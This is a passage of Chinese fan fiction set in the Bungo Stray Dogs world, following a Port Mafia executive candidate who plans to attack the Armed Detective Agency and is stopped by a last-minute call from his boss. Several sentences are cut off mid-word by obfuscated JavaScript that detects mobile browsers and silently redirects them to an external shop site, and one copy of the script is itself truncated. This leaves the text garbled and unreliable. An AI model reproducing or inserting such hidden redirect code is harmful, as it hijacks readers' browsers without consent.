但与生俱来的体质告诉他,就算佐久间弥津只是在窗边站着同信天翁说话,“他一直在用异能力。” 不知道是以何种方式在运用,作用的对象也不清楚。 “但佐久间弥津同你说话的时候,始终在这样做。”在电梯门打开的时候,电梯下行的途中,在我们离开这一层之前。 冷血的话让信天翁心中一阵困惑。他细想,在冷血出现之前,只有他和佐久间两个人站在那里,“我一点感觉都没有。” 佐久间的能力不是战斗系异能吗?前两天的报告里,还说他让一片街区都陷入电力瘫痪状态。 “成绩瞩目,声势大到像另一个中也,简直是毫不留情。无能的家伙们绝对想不到吧,组织在他们看不到的地方居然埋了一颗雷。” 而且是不需要别人操纵的超级人工智能雷。 说到这,佐久间刚才到底在干什么。和他说着话,暗地里居然在悄悄用异能力?这是什么习惯,他以前在欧洲部门也有这习惯? 嘿,果然是怪人!欧洲部门的怪人实在太多。 * 和大多数人的朝向相反,在晴朗白日离开港口黑手党大楼的少年愣愣地直视前方。 他是知道的。在太宰先生以那样的方式结束生命之后,这个曾经被他伤过的青年在中也先生的一纸任命下,成为了组织的准干部。 此刻静静望着他的双眼和那日不太一样。在那座小而偏远的城镇里,他被此人当成了绝对的敌人,那双一模一样的眼睛里只有冷漠与杀气。现在,他是被港口黑手党前首领太宰治亲口解雇的成员,再也不会被承认是港口黑手党的成员,而佐久间弥津是抛下与之纠缠的一切,赶赴横滨履行职责的准干部。 一切都和当时不一样了。 他开始怀疑,佐久间弥津或许本就是高层故意设计留在风暴外的战斗力。 青年望着他的眼神淡淡的,没什么情绪,身上的气质像大雪过后的寂静长夜。 名为佐久间弥津的青年实力如何,他深有体会,组织里最近关于此人的讨论,在今天最后一次进入这栋建筑前,他也有所耳闻。这人是四年前辞职离开的欧洲部门成员——这一点,大部分成员竟然不知情。是组织这几年来的更新换代有点快,还是欧洲部门被忽视得彻底呢。 几位高层都知道佐久间弥津来历,但对此缄口不言,任凭成员们私下臆测。 青年手里拿着一把长柄伞。不在雨中行走,起到的就是手杖的作用。厚薄正合适的灰色外套胸口别着一枚小巧的浪花胸针。极浅薄的蓝,和那双玫红色的眼睛相比,实在相形见绌。 他又想起那日的幻觉,他在恨不得结束自己生命的剧痛中将青年当成了被他杀害的院长……既然青年回归得如此干脆,想必那被他造成的伤已无大碍了。 此时他避无可避,和走到与他仅有两米远距离的青年无声地对视。 “我是佐久间弥津。” 但他没想到青年竟然会对他正式地做自我介绍。然而佐久间弥津的名字他早就知道了。反倒是他,他觉得佐久间弥津不知道他叫什么名字。 他们二人在一楼大厅的交流很快吸引了一些成员的视线,可他眼前的男人对那些视线毫不关心,面无表情但眼神专注地凝视着他。 他向这位值得尊重的青年微微鞠躬,奉上自己最后作为港口黑手党成员的敬意。等他今日迈出这扇门,就失去了返回港口黑手党的资格。 “我是,中岛敦……那时的事,很抱歉,佐久间先生。” 青年什么都没说,轻轻一点头,错开他的视线,带着那把不离身的伞走向了电梯间。 他转过身,目送那位并未向他发难的准干部离开。每每想起那日的事,都会将他淹没的愧疚在此刻终于烟消云散。 中岛敦以为自己不会再见到这位准干部了。离开港口黑手党之后,还有什么事会让他们两个碰面呢。 直至踏出大楼,中岛敦一次都没有再回头。 这个失去太宰先生的庞然大物和他一样,都还有路要走。 * 世界上也是存在这样的人的。 虽然身处于上下级地位划分极其明确又强调个人实力的地方,可名义上的地位无论如何改变,都不会改变更深层的东西。比如彼此的交情,再比如对彼此的了解程度,只需要一个眼神就能明白对方在想什么。 这显然不是佐久间弥津能拥有的东西,他转身默不作声地看着公关官笑着关上钢琴家办公室的门。 佐久间弥津无心欣赏金发青年那副在普世社会容易引起公众轰动的长相,回过头望着特意喊他来当面聊聊的钢琴家,说道,“我迟到了。” 他迟到了近二十分钟。 早就等在办公室的两人都没想着在这种无意义的事上纠缠,他们没有打卡上班的规矩。不过,既然佐久间弥津自己提了,他们不妨问问为什么佐久间弥津会比约定的时间晚到一会儿。 “我去了一趟档案室。他们没找到我以前的身份档案。” 组织成员的档案室是肉眼可见的干净与整洁。如今是谁负责情报部门的事务,他还不知道,这一间档案室也是归情报部门所有的。 一大早就在工作的成员向他说明情况,而作为当事人的他很快想通那是怎么一回事。 不认识他的本部成员想给他新建人员档案,然而因为早就有同名档案文件所以始终无法新建成功。 又因为同一个原因,他们不明白为什么会无法新建成功,也没有想到同名档案在什么地方。 有时候出现BUG的原因就是这么令人发笑。 “本部还没有接入欧洲部门的数据库吗。” 站在他面前的年轻女性脸色有些尴尬,“不是没有……只是没想到。” 没想到她作为本部的小档案室人员,要去欧洲部门的数据库检索,她哪有那种权限。但在今天以前,作为情报部门成员的他们不知道这位被传为空降成员的准干部居然来自欧洲部门,实在是失职。 但更失职的东西还在后面。 “有没有全库搜索。” 很抱歉,没有……只是在本部的在职成员数据里检索过。 全库检索的话,她也不确信会搜索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724587|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出什么东西。数据太多,有时候会搜出风马牛不相及的东西,平白浪费时间。 现在,她试着这样操作一次。等到屏幕上漫长的进度条结束,是搜到几份文件,但其中竟然有一份关联度百分百的辞职申请留档。她瞪大眼睛,盯着那份文件的标题反复默读好几遍,恨不得把每个字词都放进嘴里咀嚼一遍。 ……辞职?什么意思。 那位准干部在一边打电话,她悄悄点开这份文件,一目十行,扫过主要信息。 看到他们的新首领在四年前以最高干部的身份亲手签署的文件,她大彻大悟。 这位准干部根本不是什么空降成员。在她加入组织以前,这位准干部就被当时还是最高干部的首领同意辞职了。 英国那边正是晚上。 准干部当着档案室人员的面联系不知道有没有时间接电话的好友,问他的个人档案是不是还被“扣”在欧洲部门。然而沉迷偷看文件的成员并没有听到准干部称呼电话对面的人是“水落”。 当然,佐久间弥津只要向目前的上级解释,自己在档案室稍微花了点时间,别的都是个人私事。 你该配个助理了。 他点头,看起来是需要一个。否则,他一天到晚可忙不过来,“可以把镜优调回我身边吗。” “这种事,你自己也能做。”准干部的任命不只是为了让你战斗时指挥人方便。 理论上的确如此。但如果让他做这种事,他恐怕只知道再给水落打个电话,问他能不能把优调回来给自己用。 原来只有这样的方式可以救优于“水火之中”。 聊了些不重要的事,话题即将步入正轨。 “你昨日去见到了中也,听说你答应了他,会对武装侦探社报仇?” “是。” 佐久间弥津点头承认。 坐在沙发上不插入二人对话的目击证人十分无奈地笑了一声。他想起中也曾经和他说过,佐久间有心软的毛病。此人到底哪里心软了,从返回横滨的那天起,这九天时间里一直在做让人心惊胆战的事,他根本看不到佐久间动起手来有半分心软。 和异能特务科的交涉费心又费力,但为了将他们不可以再失去的首领带回来,他们愿意付出更多。 钢琴家瞥了好友一眼,继而从椅子上起身,和佐久间弥津平视,“你也知道中也现在的处境有多艰难。” 组织里派去谈判的人员——其中包括此刻坐在沙发上,昨天一夜没合眼的人——寸步不让,才维持勉强住最后的自由。 “我明白。” “你什么都明白,也要去做?” 钢琴家多少听信天翁对他吐槽欧洲部门的人有多奇怪,从上到下的奇怪。 那双直视着他的玫红色眼瞳淡得像一块无色无味的冰。果然,佐久间弥津的古怪之处唯有他们当面见过,认真聊过,才能体会得到。 “如果我希望你不要这么做呢。” “抱歉。” 佐久间弥津的目光看向地面,“首领的命令,优先级在你的命令之上。” ……? 钢琴家还没意识到佐久间弥津说了句什么怪话,通宵后精神不算多好的公关官已经笑得直不起腰来。 他只能同样轻笑一声,表示自己被佐久间气得只能笑一下算了。 56.考虑赴死的准干部(上) “我不懂前首领和中也先生的交情。但我能理解中也先生的想法……” “这不是你能不能理解的问题。”钢琴家打断佐久间弥津的话,“如果你按中也的命令去做,你的下场不会很好。” 说实话,你身上没有中也那样高的价值,军警部门派人把你当场击杀也有可能。 佐久间弥津安静了。 屋里的另外两人都以为这是佐久间弥津把劝告听懂了的意思。结果,在两道目光的注视下,佐久间弥津从衣兜里摸出一瓶喷雾药剂,张嘴对着自己的喉咙按了一下。 此刻安静的反而变成了另外两人。 “无论我成功与否,都能让中也先生不再惦记这件事。” 佐久间弥津的理由很充裕。 如果他被军警派人当场击杀,就能让中也先生明白,只要有人妄图对武装侦探社以报仇的名义出手,就会是这样的下场。 “因为我不是他。” 中也先生只是被异能特务科关起来,而非当场击杀,是因为因为中也先生的能力太过强悍,又颇具价值。而且,接连失去两位首领的港口黑手党会陷入群龙无首的情况,难保不会造成更惊天动地的混乱。 所以他们不能真正伤害到中也先生。 而别人,哪怕是港口黑手党的准干部,一旦犯下同样的罪行,只会被无情的击杀。 “听闻了我的死讯,愿意承担首领责任的中也先生就会明白,继续在此事上纠缠只会让下属送命。他会停下这种心思,不会派任何人去执行类似的任务。” 不到最后一刻,异能特务科是不会阻拦他的,因为异能特务科同样可以借他的死,震慑如今还身陷囹圄的中也先生。 “让港口黑手党干这样的事,下场就会这样,因为别人不是他”,这就是异能特务科急迫地想要对中也先生表达的意思。 喉咙的痛感不尖锐,但持续不断,似海潮扑击海面,佐久间弥津不得不再次喂自己苦得让他想吃颗糖的药。 “你还得用药吗。” “嗯。说话太多时需要。”用药而已,随手的事,不麻烦。不过喷雾药剂容易挥发,效用也容易过去。 还有一点。 如果他顺利得手,让武装侦探社变成了一纸薄薄的档案收录进异能特务科的档案室,“中也先生想要结果就达到了,异能特务科没有阻止,皆大欢喜。” 哪里皆大欢喜了。“你的意思是,无论我们说什么,你都不听,是吗。” 佐久间弥津转过身,目光平静地望着金发青年,低声回答道,“是。” “你有没有想过,你会让我们几日的努力功亏一篑。” “……真正能救中也先生的,只有他自己。” 他对武装侦探社的愤怒得不到平息,即使我们能够把他带走,他也会走向毁灭,步入那个人的后尘。 公关官脸上的笑容变了味,“也就是说,你觉得……” 感受到友人说话语气的细微变化,站在佐久间弥津身后的钢琴家对友人轻轻摇头。通宵过的人脑子不够清醒,是容易情绪化,他把佐久间叫来不是为了和别人争吵。 但他从其身上又真切地感受到了一种不妙的东西,一种不该存在于港口黑手党成员身上的东西。 然而公关官的情绪罕见地难以自控,脸色愠怒,“现在不是你用性命给中也教训的时候。他也不需要你用这种血腥的方式表示你对他的忠心。” 年纪比他们两个都小的青年沉思片刻,对他们道歉。 “……对不起。” 这样一句单薄的对不起,结束了他们今天的交流。 佐久间弥津柔中带刚的强硬态度十分棘手。 目送那人离开,公关官转过身来摊手,脸上的表情和几秒前天差地别,“我就知道,他不会听的。”那是个发烧但想吃烤肉,所以把他和信天翁甩在自己家里不管,自己出门买食材的家伙。 “我以前专门找过中也聊过他的事。” “什么。” “我认为他当年离开组织的原因是森先生的死,建议中也不要召回他。” 钢琴家没有赞同,但也没有反驳。 “中也的反应是什么?” “他看起来……对佐久间离开的真正原因满不在乎。” 钢琴家反而能和公关官描述中的中也共情,“中也相当信任他啊。” 信任他在什么情况下都不会做出危害港口黑手党的行为,于是随意放其离开。当年的佐久间会被中也从欧洲部门带过来,已经能说明很多问题。 一整夜没休息的人也该走了。 再待下去,他会舍不得离开舒适感满级的沙发。 * 八卦消息是世界上传播得最快的东西。 名为佐久间弥津的准干部其实是前欧洲部门成员的事,被一些人口口相传。而少有的,一开始就知道佐久间弥津来历的人,依旧对此保持缄默。本部的成员们对这位准干部的态度,从对其实力的折服顺理成章地变成了对其来历的认同。 被强迫和说服的接受,永远比不上出于内心的接受。 准干部身边没有从旁辅助的人。从前首领逝世至今,十天里,目击者只能看到佐久间弥津独自出现在总部大楼里,身影看着很是孤寂。而且,与之有所接触的人说,准干部的嗓子有旧疾。 已经十天了。 公关官第六次来见异能特务科的人,第三次被允许单独见自己的首领。 这次限时十分钟,时间比前两次多了一倍不止。说明军警和异能特务科的态度也逐渐变得焦躁,同样等不及事情画上句号。 但他这次想说的话题只有一个,而且是关于第三个人的事。 “他听了你的话,去做了你命令的事,中也。” 已经不再被铁链捆缚的年轻首领目光悠远,望着牢狱之间冰冷的墙壁,对公关官的话没什么反应。他仿佛早已预料到组织的新任准干部,他的旧部,会力排众议,做出单独让他满意,也让其他所有人都不满意的决定。 “你知道他一定会执行你的命令,对吗。” “其他的……” 在首领想要转移话题时,公关官笑着将话题扯回来,“你真的很了解他。” 这样的人,在欧洲部门里一定很有声望吧。 “他的辞职申请是你签的,准干部任命也是你签的。他会执行你的任何命令,也像你一样不听劝。现在,此时此刻,他正在做像你当日所做的一样的事。” 但结局如何,你们的结局会一样吗。 他会死的,中也。 假如他因为执行命令被军警击杀,港口黑手党会再次失去一名前途无量的成员。 “你不觉得这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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佐久间弥津轻轻点头。 “……进来吧。” 难道他可以把人拒之门外吗。 佐久间弥津不强调自己的身份,不代表他不是干部成员之下的唯一一人。 “想和我单独说什么。” “明天,你还会和异能特务科的人会面吧。” 怎么,你也想再去一次吗。 佐久间的嗓音很哑,用过药之后还是这样。好在字词有努力说得清晰,他听得懂。 “我以前的副手下午到。我明天,去找侦探社。” 这就是佐久间要和他说的事?那他要赶人了。与其听此人把那些不成熟的想法再说一遍,不如让他去休息一下。 “我得和你同时行动。” ……他还真得让佐久间把自己的想法重新解释一遍。 他的办公室很宽敞,没有摆太多东西,因为他的工作场地往往在总部之外的地方。沙发、书桌、柜子等等摆设都很普通,他当时没有特意设计和提出额外的要求。 青年站在房门不远处,没有坐下详谈的意思,似乎想说完就走。 “两件事同时进行,他阻止我,是来不及的。你要利用我的处境,让中也先生在态度上缓和一点。” 佐久间弥津的眼里没有犹豫和恐惧,只有笃定和坚决。 “……你有点小瞧自己了。你的死只会让他更加愤怒。” 摇了摇头,佐久间弥津对他说,“他‘只能’从我的死里看到代价的惨重。这一点,就要你去做了。” …… 佐久间弥津原来是个这样的人。 他答应了青年的提议。 57.考虑赴死的准干部(下) 雨天,又遇停电,实在让人叫苦不迭。 出门打探消息的人拿干毛巾擦着被淋湿的头发,苦恼地说,“附近这片区域都停电了,不只是侦探社。” 这是好消息也是坏消息。 好消息是,今天的侦探社本就没有太多委托,他们或许可以提前下班。 坏消息是,已经过去三个小时,但他们仍未知道停电的原因。找来的维修人员冥思苦想,打着伞出门四处检查,鞋上沾满泥泞,裤腿被雨打湿,却束手无策。 “你们得找技术更高明的人了。”戴着一顶灰白色鸭舌帽的维修人员自嘲道,“谁让我只在这行呆了两年呢。你们可以打东京电力的客服电话找专人维修。” 可停电的事,再急也不会言出法随一般,说修好就修好。那就耐心等等吧。 楼下的咖啡店也停电了,但幸好有后备电源…… “——什么?” 芥川龙之介忍不住举起拳头,轻轻砸在吧台上,立即转身对着店里已有的客人抱歉地鞠躬。顺利阻止自己大发雷霆,他小声问店长,“后备蓄电池也没电了?” “是的。” 店长一丝不苟地擦着咖啡杯,对他点了点头,“停电之后,UPS本该自动启动,但事实上没有。检查之后,我发现UPS的电量所剩无几,店里另外一套商用储能系统也不知为什么失效了。” 目前来看,咖啡厅完全失去电力供应。 不过,附近其他商店和这里的情况一模一样。 “所以,这不可能是针对这里的袭击。” “说的也对。” 咖啡的香气在店里的空气中扩散迸发。意式咖啡机用不了,但手冲咖啡壶和法压壶还是可以照常使用的,依旧能为进店的客人提供质量不减的咖啡饮品。 就算是雨天,人们的生活也各过各的,不会因为一场大雨就停滞不前。大人仍然在朝九晚五的工作,时不时就会加班,而年纪尚小的学生们一边埋怨雨一直下,一边思考着放学后的社团活动要怎么进行。 咖啡豆被磨碎,喜爱这份香味的人对这个过程欲罢不能,甚至觉得凑近闻到的香味比冲泡好后更显典雅馨香。 女性侍者把刚制作完成还冒着些微热气的黑咖啡端到不久前进店的客人桌上,她叮嘱说咖啡温度还很高,可以等凉一些再入口。戴着黑色手套的青年向她道了一声谢,声音极轻。 这还是她第一次见这位客人。她在这家店里工作很久了,附近熟客的长相,她都记着。 客人另外点了一份布丁,也一块上齐了。 芥川龙之介没有仔细观察咖啡店客人的癖好。若是他像扫描仪一样,把每一位客人都扫描一遍,会把这里的客人吓跑,店长也不会再欢迎侦探社了。 他还在想,什么时候停电的情况才能结束。再不来电,手机都快要没电了……很快就要没电了!他忍不住在心里哀嚎一声。 水和电,真是现代社会的人们最不能缺少的物质。室外还在下雨,这场雨难不成会延续至晚上。 要是晚上回住处还要冒着雨摸黑进家门,那不是很糟糕吗? 他正想着,余光瞥见街头有个淋着雨的笨蛋飞快地冲进咖啡厅。 风铃轻响,他和认识有段时间的人打招呼,却看到中岛敦脸色惨白。 这么急,伞都不打吗。 “你不是被顺利解雇了,”芥川龙之介不明所以地观察中岛敦难看的脸色,“还有什么让你这么担心。” 中岛敦张了张嘴,迫切地想说点什么,却在看到窗边卡座的银发客人时,意识到现在已经来不及了。 银发青年透过玻璃望着店外的街道,似乎在认真观察雨珠敲打在街道地砖上溅起的水花有多高。穿着的不是他那日见过的灰色外套,而是一件同色调的夹克上衣,一条浅棕色的围巾随意地绕在脖子上,围巾之下,青年在夹克里穿着一件纯黑色的高领针织衫,柔软的布料贴合脖颈。 像是终于注意到了他的视线,青年转过头来,仿佛早预料到他会来到侦探社楼下的咖啡厅,眼中只有让他顿感痛苦的平静。 稀松平常的随性搭配出现在这个男人身上,很难让人察觉其真实身份何其危险。 芥川龙之介顺着中岛敦的目光看过去,看到的是一张成熟淡然但他很陌生的脸。 你们认识? 中岛敦的手轻轻抖了一下,不知道该怎么回答芥川龙之介的话。 独自前来咖啡厅的青年对他比了个噤声的手势,继续“享用”自己的咖啡。这是他花钱买的商品,为什么不能喝。 芥川龙之介完全不明白中岛敦为什么会有这种反应,他问你们是不是认识,中岛敦也不回答,一直盯着那个男人看。 ……到底是怎么回事,他是谁? 到了这种时候,芥川龙之介心里也知道事情不对劲了。 他离开吧台边的椅子,进入警戒状态。一旦那个男人轻举妄动,他就会立刻做出反应。 中岛敦不能回答。 店里有其他无辜的客人,他生怕自己对芥川龙之介揭晓佐久间弥津的身份,会彻底激怒此刻静静喝咖啡的男人。他的目光紧紧地追随着佐久间弥津,看这位准干部慢条斯理地吃完浇过巧克力酱的布丁,拿起座位边的长柄伞,准备离开。 青年绕过座位,背对着他走向店门。 风铃声清脆,昭示着佐久间弥津的离开。 他连忙对芥川龙之介说,“你要回侦探社去!他是……” 他陷得太深了。 离开咖啡厅的青年撑起伞,回过头来,透过玻璃门望着他,他就像是被人狠狠捏住喉咙一般发不出更多声音。 ……哪怕他不再是港口黑手党的成员,但精神还做不到“背叛”,就连对别人挑明佐久间弥津的身份都很艰难。 他感觉有什么东西在颤抖,是心脏还是灵魂? 让他迈出第一步的是一只用力拍在他肩头的手。 “他到底是什么人啊?”芥川龙之介面露疑惑地发问。 站在芥川龙之介身后的店长,还有面露好奇地一边称咖啡豆一边望向这边的女性店员,都在等他的回答。 ……他要再过多久,才能完全记住自己被港口黑手党解雇了呢。 “他是,港口黑手党新任的准干部成员。” 当芥川龙之介不顾中岛敦的阻拦冲出咖啡厅,数个红色的激光瞄准点出现在他身上。心脏,腹部,四肢,以及他看不到的额头,全都被暗处的枪手瞄准。 * 谁会阻止他。 “异能特务科,军警部队,什么的。那些家伙总是碍事。” 公关官望着有了些精神的首领,追问道,“假如没人阻止他呢。” 他说,万一这些组织相信佐久间会败在侦探社手里呢。 万一佐久间意外失手呢。 单人牢房里没什么东西,只有桌椅,但即使是这样的单调环境也比前几天好太多。 中原中也站起身,在公关官的注视下伸了个懒腰,像是抖落了时间积压在他身上多年的枯枝败叶。 日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739042|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积月累,从薄薄一层变成了需要机械设备搬运的厚度。 “你去阻止他吧。说是我让他停下的。”港口黑手党的新任首领沉吟道,“……我该回去了。” 这是异能特务科最想看到的结局,港口黑手党的首领终于松口。 但让中原中也恢复精神的不是异能特务科日复一日的谈判和洗脑般的说服,而是他应当负起的责任。 港口黑手党是盘踞在横滨的庞然大物,但在过去四年间持续不断的扩张之下,影响力远比诞生时大数倍。道理就如同一棵参天大树的崩塌会破坏一片早已成型的生态园。从历代首领手上延续至今的港口黑手党不能进入毁灭进程。 横滨的环境本就和正常城市不同。只要中原中也愿意退一步,异能特务科就更加愿意息事宁人。 “好。” 公关官脸上浮起一抹赞同的浅笑。 时限即将归零。 在下属的陪同下准备先回总部的青年给佐久间弥津的新号码打去一通电话。 此刻,他是那个最怕来不及的人。 * 青年收了伞,任凭带着浓浓秋意的雨落在头发上,肩膀上,打湿他今天出门顺手买的围巾。 芥川龙之介咬着牙,死盯着青年的一举一动。 “为什么要找我们的麻烦?你们的首领是自杀的,你——” 刺耳的电流声盖过了雨声。 青年的脸色在他说话时变了。 一改面具般的平淡表情,皱了皱眉,手里的伞尖点在地上的积水里。刹那间,整条街道都被迅捷闪烁的电流覆盖。 银白色的电光似流云也似瀑布,遮蔽灰暗的地面,在他震惊得说不出话时又如有生命力的常春藤向上奋发,爬上街道两旁的楼宇,直达侦探社所在的楼层,将整栋建筑都包裹在内。 假如神明会拥抱地球,给人的震撼恐怕不过如此。 让人头皮发麻的声音传到他耳朵里,久久没有消失。 当天地间回归雨的独奏,他得以看清方才被银白电流覆盖的地方,道路表面和楼宇的外墙,都留下了肉眼可见的杂乱焦黑痕迹,雨水冲刷不干净。 这样铺天盖地的异能力攻击却没有伤害无辜的人。 一位恰好在路上行走的路人举着伞目瞪口呆,身体则毫发无损。咖啡厅里的客人没有受到一丝一毫的伤害,纷纷惊奇地看着这一幕。 如此声势浩大的威慑,只是针对他,针对侦探社。 ……街区停电,一定是这人搞的鬼。 青年说话了,是对他说的。 像提点,也像正名。 “是‘前首领’。” 他不懂青年为什么要强调这个。 忽然之间,中岛敦跌跌撞撞地冲出咖啡厅,不顾被枪支瞄准的危险,把手里接通电话的手机递向青年。 立场已然相悖的人此刻相距两米远。 如果中岛敦被港口黑手党当做叛徒,会在眨眼间被判处死刑。 但佐久间弥津没动,一副不想接的意思。 手机屏幕上很快落满了雨珠,像谁人落的泪。 少年嗫嚅着唇,请求道,“请一定要接这通电话……是打给你的。” 阻止街道上再次爆发电光的是青年衣服口袋里在响的手机。 没有接过中岛敦努力递来的手机,在少年失望的眼神里,佐久间弥津接起打到自己手机上的电话。 【还来得及吗】 青年轻轻嗯了一声。 “刚好,来得及。” 58.申请撤职的准干部 一场旷日持久的谈判后,横滨最终迎来宁静的寒冬。 好像什么都没变。一年四季会照常循环,港口黑手党仍然是横滨乃至整个国家的黑暗面都恶名远扬的犯罪组织。大雪会在气温合适时铺天盖地地落下,而寒冷将会在一个又一个冬夜里浸透每一寸空气,直至第二年的春天到来。待和煦的暖阳一鼓作气,将凝固人心的冰冷彻底击碎,宣告不屈的生命将从被冻结数月的地面勃发,探出今年第一抹生机盎然的绿芽。 沉浸在往事中难以自拔,不一定是好事。可以说是时间、是责任、是决不自甘堕落的自尊推着人朝前走。 即使有人想回到过去,也已经做不到了。过去什么都没有留下。 今天,是中原中也两个月来,第三次拒绝佐久间的申请。 “不行。” 他把手里的申请一丢,轻薄的纸张在空中犹如箭矢般冲了出去,直直冲进垃圾桶,被重力扯成碎片,破坏效果毫不逊色于碎纸机。 “我手里没有收回的任命。” 走出首领办公室大门的佐久间弥津看着等在门外的优,冷静地点头,“是的,又没成功。” 唉。 镜优叹息一声。 别坚持了,弥津大人,我们的首领不会同意给你撤职的,“就算适合这个位置的人很多,这不是你推辞的理由。”因为你也是其中之一。 没有继续镜优的话题聊下去,佐久间弥津摇了摇头,“和我去看看雪吧。” 中也先生不撤掉对他的任命,他就只能先这么干着。 总之不能懈怠,否则就会成为渎职的典范。渎职的后果比烦中也先生严重多了。 * 第一次提这件事,是他从异能特务科“软禁”中也先生的地方,把他们的首领接走的当天。 他没有驾照。确切点说,他没有国内的驾照,但黑手党成员哪用得着在乎这个。 在信天翁长达半小时激情澎湃的介绍中,他伸手拿了一个看起来很普通的车钥匙。 信天翁问他,你是不是分不清车的型号和品牌。 他承认说,有点。自己在英国和意大利开过车,但从没在国内开过。 时间足够的话,他更喜欢步行去目的地。视野开阔,空气清新,还能打发任务外的时间。依靠散步的方式锻炼身体效率是有些低下,但沿途没准能遇到有趣的事,这样意料之外的所得是很吸引人的。 信天翁愣了两秒,丢了另一把钥匙给他。 “开这辆。” 戴墨镜的青年再三向他确认,“你能分清左右,并且会给手动挡汽车挂挡,对吧?” 这个是会的,除非国内外的汽车构造不一样。他没听清信天翁小声嘀咕了句什么,然后被要求在空旷的地方先开两圈。 从结果上看很好。没有撞墙,也没有把刹车踩成油门这样悲惨的事发生。他得以被允许接和异能特务科谈妥的中也先生回来。 他一个人去,不能带任何下属。 这是异能特务科和他们谈好的条件之一。 那日的天气不算好,他从总部出发时天空阴得不知要落雨还是落雪。时节已经很晚了,就算是雨夹雪的天气,也没什么奇怪的。 维尔丹尼被他安置在后备箱。其实他打算和中也先生聊一聊这把伞的来历,结果他自己倒是被赶出了驾驶位。 ……好吧,他妥协了,谁让中也先生现在是他的首领。 他下车拉开副驾位置的车门,看着精神状态还不错的中也先生上车熟练地发动这辆公务用车。他正低头去系安全带,但没等他摸索着系好,中也先生就把油门踩到了底。 其实他平时坐车也不系安全带。 车如离弦之箭般冲出街道,在更广阔的街头飞驰,像是冲出了某种禁锢。他的后背紧贴着座椅,只能靠手感去系安全带。 中也先生开车应该很安全。大概吧。 “中也先生,我……” “回去再说。” 中原中也以为佐久间要和他说公务。 但那么多事,在回总部的时间里怎么可能说得清。他打算先回去找时间见下属开会,要安排的事还不少。 佐久间弥津扭头注视开车技术非同一般的“首领”。 能看到中也先生走出前首领惨淡的落幕,依旧那么认真对待组织,他很欣慰。但他要说的不是可以在组织会议里提到的东西。 他抓着始终系不好的安全带,说,“水落帮我找到了伞的来历,中也先生。” 恰在此时,路灯变红,中原中也猛踩了一脚刹车。 ……那把只有贵成为记忆点的伞还能有前因后果? 他也扭过头,一脸惊奇地对上佐久间的视线。 最后的最后,中原中也拿着变成手杖的伞站在停车场里直摇头。 这算什么……能力者的“蓄电池”? “你这么做相当费力吧。” 他记得佐久间的能力不是自循环,而且,不是什么能力都能对伞“使用”。手感重量没怎么变,但这份重量放在异能武器上显得很合适,放在一把伞上就会“超重”。 “嗯。” 佐久间弥津打个比方,“想单独靠我的能力让它变形,恐怕五栋大楼里所有能用的电量都会被我耗尽。” “那你……” “第一次用的时候,是在一个人口密度不小的城区。后来,我发现能量可以累积。所以,一有机会,我就会悄悄对它使用异能力。”遇到紧急事态再用,可就来不及了。 他不会把这把武器还给国际刑警组织。但说来可惜,他现在只懂如何对它“使用”能力和用它“释放”能力,别的还在探索中。 悄悄……? 在这个瞬间,中原中也以为自己回到了几年前的欧洲部门。 他那时经常被下属的行为惊得目瞪口呆。现在的佐久间会做出偷偷“夺走”电量的事,只会让他想起佐久间更久以前的惊人之举。 “你记不记得你以前摇骰子曾经摇了三个一点。” “嗯。全场最低,恰好比水落低了一点,所以那次去俄罗斯的人变成了我。” 中原中也轻咳了一声,为自己找补,当年他不是故意的。 “我只是想给水落一个机会。” 覆水难收,他是说了如果有人能比三个骰子摇出四点的水落点数更低,那么这个人要替水落去一趟俄罗斯的话。 起初谁也没抱希望,包括水落本人。 然而佐久间竟然能一脸正气地摇出三点,把不可能变成可能,把水落几乎板上钉钉的出差计划打乱,以至于满室寂静。 别人都不可思议地看着摇出三个一点的人,没好意思嘲笑。就像他们在听说了佐久间这把“伞”的价格时,面对眼神十分认真的佐久间,也不好意思说什么。 “其实没关系。水落那次不想去,我替他跑一趟也没什么。” 那一年,他们两个在欧洲部门的职权同等,谁去都一样。 “那倒也是。” 二人离开停车场,进到直达顶层的专用电梯。 佐久间弥津摁了楼层,接着解释当年故事的始末。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739043|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边有个人对水落暗生情愫。水落有点受不了。” “怎么还有这种故事?”他完全没听说过。 “嗯。水落不想被这种事影响,所以没以这种理由提出更换任务执行人。” 后来呢,水落这几年还往俄罗斯跑过。 “后来调查到那个人是其他组织派来故意接近我们的卧底,在同一年被解决掉了。” 最后一点沉重气氛被水落的黑历史一扫而光,佐久间弥津才提起那份任命。 